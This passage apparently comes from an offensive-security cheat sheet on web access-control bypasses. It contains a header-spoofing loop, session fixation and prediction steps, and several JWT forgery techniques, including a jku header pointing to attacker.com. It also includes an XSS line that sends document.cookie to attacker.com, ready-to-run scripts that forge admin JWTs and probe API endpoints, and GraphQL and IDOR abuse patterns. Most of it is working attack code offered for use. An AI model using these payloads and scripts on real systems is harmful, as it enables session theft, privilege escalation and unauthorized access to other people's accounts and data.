headers=(
    "X-Real-IP: 127.0.0.1"
    "X-Forwarded-For: 127.0.0.1"
    "X-Original-URL: /admin"
    "X-Rewrite-URL: /admin"
    "Referer: http://localhost/admin"
    "X-Custom-IP-Authorization: 127.0.0.1"
)

for header in "${headers[@]}"; do
    echo "[*] Testing: $header"
    
    response=$(curl -s "$url" -H "$header" -w "\n%{http_code}")
    http_code=$(echo "$response" | tail -n 1)
    
    if [ "$http_code" == "200" ]; then
        echo "[+] BYPASS SUCCESSFUL with: $header"
        echo "$response" | head -n -1 | head -n 20
    fi
done
EOF

chmod +x header_bypass_test.sh

Session-Based Attacks
#

# Session fixation
# 1. Get session ID from application (before login)
session_id="abc123"

# 2. Send victim link with fixed session ID
http://target.com/login?session_id=abc123

# 3. When victim logs in, attacker has authenticated session

# Session prediction (if predictable patterns)
# Look for patterns in session IDs:
# - MD5/SHA hash of timestamp
# - Sequential: 1000, 1001, 1002
# - Base64 encoded sequential numbers

# Example: Extract pattern
sessions=(
    "c4ca4238a0b923820dcc509a6f75849b"  # md5(1)
    "c81e728d9d4c2f636f067f89cc14862c"  # md5(2)
    "eccbc87e4b5ce2fe28308fd9f2a7baf3"  # md5(3)
)
# Pattern identified: md5(sequential number)

# Generate next sessions
for i in {4..100}; do
    echo -n "$i" | md5sum | cut -d' ' -f1
done

# JWT token manipulation
# Decode JWT (3 parts: header.payload.signature)
echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" | base64 -d
# Output: {"typ":"JWT","alg":"HS256"}

# Attacks on JWT:

# 1. None algorithm attack
# Change "alg": "HS256" to "alg": "none"
# Remove signature (keep the trailing dot)

# 2. Algorithm confusion (RS256 to HS256)
# If server uses RSA public key for verification
# Change to HMAC and sign with public key

# 3. Weak secret brute force
# Use hashcat or john
hashcat -m 16500 jwt.txt rockyou.txt

# 4. JWT cracking
npm install -g jwt-cracker
jwt-cracker "eyJ0eXAiOiJKV1QiLCJhbGc..." "abcdefghijklmnopqrstuvwxyz" 6

# 5. Kid parameter manipulation
# If JWT header has "kid" (key ID), try:
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "../../../dev/null"  # Empty file = empty key
}

# 6. JKU/X5U header injection
# Host malicious public key
{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://attacker.com/jwks.json"
}

# Session hijacking via XSS
<script>
fetch('https://attacker.com/steal?session=' + document.cookie);
</script>

# OPSEC: Automated JWT testing
cat > jwt_test.py << 'EOF'
#!/usr/bin/env python3
import jwt
import base64
import json
import sys

def test_jwt_vulnerabilities(token):
    print("[*] Testing JWT token for vulnerabilities")
    
    # Decode without verification
    try:
        header = jwt.get_unverified_header(token)
        payload = jwt.decode(token, options={"verify_signature": False})
        
        print(f"[*] Header: {json.dumps(header, indent=2)}")
        print(f"[*] Payload: {json.dumps(payload, indent=2)}")
        
        # Test 1: None algorithm
        print("\n[*] Test 1: None algorithm attack")
        none_header = header.copy()
        none_header['alg'] = 'none'
        
        none_token = base64.urlsafe_b64encode(
            json.dumps(none_header).encode()
        ).decode().rstrip('=')
        none_token += '.'
        none_token += base64.urlsafe_b64encode(
            json.dumps(payload).encode()
        ).decode().rstrip('=')
        none_token += '.'
        
        print(f"[+] None algorithm token: {none_token}")
        
        # Test 2: Modify payload
        print("\n[*] Test 2: Modified payload (admin privilege)")
        modified_payload = payload.copy()
        modified_payload['role'] = 'admin'
        modified_payload['is_admin'] = True
        
        print(f"[+] Modified payload: {json.dumps(modified_payload, indent=2)}")
        
        # Test 3: Check for weak secrets
        print("\n[*] Test 3: Testing common secrets")
        common_secrets = ['secret', 'password', '123456', 'admin', 'key']
        
        for secret in common_secrets:
            try:
                jwt.decode(token, secret, algorithms=['HS256'])
                print(f"[!] WEAK SECRET FOUND: {secret}")
                
                # Create admin token with weak secret
                admin_token = jwt.encode(modified_payload, secret, algorithm='HS256')
                print(f"[+] Admin token: {admin_token}")
                break
            except:
                pass
                
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <jwt_token>")
        sys.exit(1)
    
    test_jwt_vulnerabilities(sys.argv[1])
EOF

chmod +x jwt_test.py
python3 jwt_test.py "eyJ0eXAiOiJKV1QiLCJhbGc..."

API Access Control Bypasses
#

# RESTful API enumeration
GET /api/v1/users/      # List all users
GET /api/v1/users/me    # Current user
GET /api/v1/users/1     # User ID 1 (try different IDs)
GET /api/v1/users/admin # Admin user

# HTTP verb tampering
GET /api/users/123      # Allowed
DELETE /api/users/123   # Try if GET works
PUT /api/users/123      # Modify user
PATCH /api/users/123    # Partial update

# Parameter pollution
/api/users?id=123&id=456    # Server might use first or last
/api/users?id=123&admin=true

# GraphQL introspection
POST /graphql HTTP/1.1
Content-Type: application/json

{
  "query": "{__schema{types{name fields{name}}}}"
}

# GraphQL batch attacks
POST /graphql HTTP/1.1
Content-Type: application/json

[
  {"query": "{user(id:1){name email}}"},
  {"query": "{user(id:2){name email}}"},
  {"query": "{user(id:3){name email}}"}
]

# GraphQL IDOR
{
  user(id: 123) {
    name
    email
    ssn        # Try accessing sensitive fields
    password
  }
}

# GraphQL alias abuse (bypass rate limiting)
{
  user1: user(id: 1) { name }
  user2: user(id: 2) { name }
  user3: user(id: 3) { name }
  # ... repeat 1000 times
}

# API versioning bypass
/api/v1/admin    # Blocked
/api/v2/admin    # Try older/newer versions
/api/admin       # No version
/api/beta/admin  # Beta version
/api/internal/admin

# Content-Type bypass
# If application/json blocked:
Content-Type: application/x-www-form-urlencoded
Content-Type: text/xml
Content-Type: multipart/form-data

# OPSEC: Automated API testing
cat > api_access_control_test.py << 'EOF'
#!/usr/bin/env python3
import requests
import json
import sys

def test_api_access_control(base_url, token):
    print("[*] Testing API access control")
    
    endpoints = [
        "/api/users",
        "/api/v1/users",
        "/api/v2/users",
        "/api/admin",
        "/api/v1/admin",
        "/api/internal/admin"
    ]
    
    methods = ['GET', 'POST', 'PUT', 'DELETE', 'PATCH']
    
    headers = {
        'Authorization': f'Bearer {token}',
        'Content-Type': 'application/json'
    }
    
    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        
        for method in methods:
            try:
                r = requests.request(method, url, headers=headers, timeout=5)
                
                if r.status_code in [200, 201]:
                    print(f"[+] Accessible: {method} {url} - Status: {r.status_code}")
                    print(f"    Response: {r.text[:200]}")
                    
            except Exception as e:
                print(f"[-] Error: {method} {url} - {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <base_url> <token>")
        sys.exit(1)
    
    test_api_access_control(sys.argv[1], sys.argv[2])
EOF

chmod +x api_access_control_test.py
python3 api_access_control_test.py http://target.com YOUR_TOKEN